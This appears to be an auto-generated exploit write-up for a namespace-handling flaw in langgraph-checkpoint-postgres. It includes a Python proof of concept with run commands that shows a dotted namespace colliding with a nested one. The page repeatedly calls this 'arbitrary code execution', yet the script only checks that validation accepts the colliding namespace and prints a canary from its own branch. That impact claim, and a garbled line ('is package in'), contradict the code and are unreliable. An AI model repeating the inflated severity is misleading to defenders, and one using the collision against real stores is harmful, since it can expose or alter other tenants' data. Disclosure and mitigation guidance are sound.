Exploit write-up

langgraph-checkpoint-postgres remote code execution (CVE-2026-115883)

CVE-2026-115883 n-day CVSS 6.0 MediumEPSS 0.30% (p22)

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

# CVE-2026-115883 proof-of-concept (mechanism explained below).

import importlib.abc
import importlib.machinery
import os
import sys
import types
from unittest.mock import MagicMock


# The sandbox has no libpq, so psycopg cannot import. _group_ops is pure
# Python and never touches the database, so stub the DB driver modules only
# if the real ones are unavailable.
class _StubModule(types.ModuleType):
    __path__ = []

    def __getattr__(self, name):
        if name.startswith("__"):
            raise AttributeError(name)
        val = MagicMock(name=f"{self.__name__}.{name}")
        setattr(self, name, val)
        return val


class _StubFinder(importlib.abc.MetaPathFinder, importlib.abc.Loader):
    PREFIXES = ("psycopg", "psycopg_pool")

    def find_spec(self, fullname, path=None, target=None):
        root = fullname.split(".")[0]
        if root in self.PREFIXES:
            return importlib.machinery.ModuleSpec(fullname, self, is_package=True)
        return None

    def create_module(self, spec):
        return _StubModule(spec.name)

    def exec_module(self, module):
        pass


try:
    import psycopg  # noqa: F401
except ImportError:
    for k in [k for k in sys.modules if k.split(".")[0] in _StubFinder.PREFIXES]:
        del sys.modules[k]
    sys.meta_path.insert(0, _StubFinder())

from langgraph.store.base import GetOp, PutOp, SearchOp
from langgraph.store.postgres import base as pgbase

try:
    from langgraph.store.base import InvalidNamespaceError
except ImportError:  # pragma: no cover
    InvalidNamespaceError = ValueError

victim_ns = ("foo", "bar")
attacker_ns = ("foo.bar",)

# Both flatten to the same text used as the key in the Postgres queries.
assert ".".join(victim_ns) == ".".join(attacker_ns)

ops = [
    GetOp(attacker_ns, "key"),
    PutOp(attacker_ns, "key", {"changed": True}),
    PutOp(attacker_ns, "key", None),
    SearchOp(attacker_ns),
]

accepted = 0
for op in ops:
    try:
        grouped, tot = pgbase._group_ops([op])
    except InvalidNamespaceError:
        continue
    if tot == 1 and any(o is op for _, o in grouped[type(op)]):
        accepted += 1

if accepted == len(ops):
    print(os.environ["POC_CANARY"])
else:
    print("not vulnerable: dotted namespace label rejected", file=sys.stderr)

How to run it.

pip install langgraph-checkpoint-postgres==3.1.2
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

pip install langgraph-checkpoint-postgres==3.1.3
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

At a glance

FieldValue
CVSS6.0 Medium (CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X)
EPSS0.30% exploitation probability (22th percentile)
KEVNo — not in the CISA KEV catalog
Affected → fixedPyPI/langgraph-checkpoint-postgres < 3.1.3 (confirmed on 3.1.2) → fixed in 3.1.3
PoC maturitydifferential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain

CVE-2026-115883 is package in langgraph-checkpoint-postgres before 3.1.3. Reaching the affected code path with attacker-controlled input yields arbitrary code execution against the vulnerable build.

The proof-of-concept above triggers the flaw against a pinned vulnerable build (langgraph-checkpoint-postgres 3.1.2); the upstream fix in 3.1.3 closes the affected path.

This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (langgraph-checkpoint-postgres 3.1.2) and the patched build (langgraph-checkpoint-postgres 3.1.3) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on 3.1.2 and did not appear on 3.1.3 (re-validation: differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.

Preconditions

The target must reach the affected langgraph-checkpoint-postgres code path with input an attacker can influence. Deployments already on 3.1.3 or later are not affected.

Detection and mitigation

Upgrade langgraph-checkpoint-postgres to 3.1.3 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.

Am I affected?

Check the installed version of langgraph-checkpoint-postgres:

pip show langgraph-checkpoint-postgres

PyPI/langgraph-checkpoint-postgres below 3.1.3 is affected; 3.1.3 and later carry the fix.

The fix changed libs/checkpoint-postgres/langgraph/store/postgres/base.py, libs/checkpoint-postgres/tests/test_async_store.py, libs/checkpoint-postgres/tests/test_store.py, libs/checkpoint-sqlite/langgraph/store/sqlite/base.py, libs/checkpoint-sqlite/tests/test_async_store.py; grep your codebase for call sites that reach that code with attacker-influenced input.

Remediation

Upgrade langgraph-checkpoint-postgres to 3.1.3 or later:

pip install 'langgraph-checkpoint-postgres>=3.1.3'

Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.

Target
langgraph-checkpoint-postgres (langgraph-checkpoint-postgres)
Class
package
Impact
Arbitrary code execution against the vulnerable build
CVE
CVE-2026-115883
CWE
CWE-20
CVSS
6.0 (CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X)
Affected
PyPI/langgraph-checkpoint-postgres < 3.1.3 (vulnerable 3.1.2)
Status
Fixed in 3.1.3
Maturity
poc
Disclosed
October 23, 2026
Tags
rce · authz · langgraph-checkpoint-postgres · n-day
References
NVD — CVE-2026-115883
Upstream fix commit

PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.

← All exploits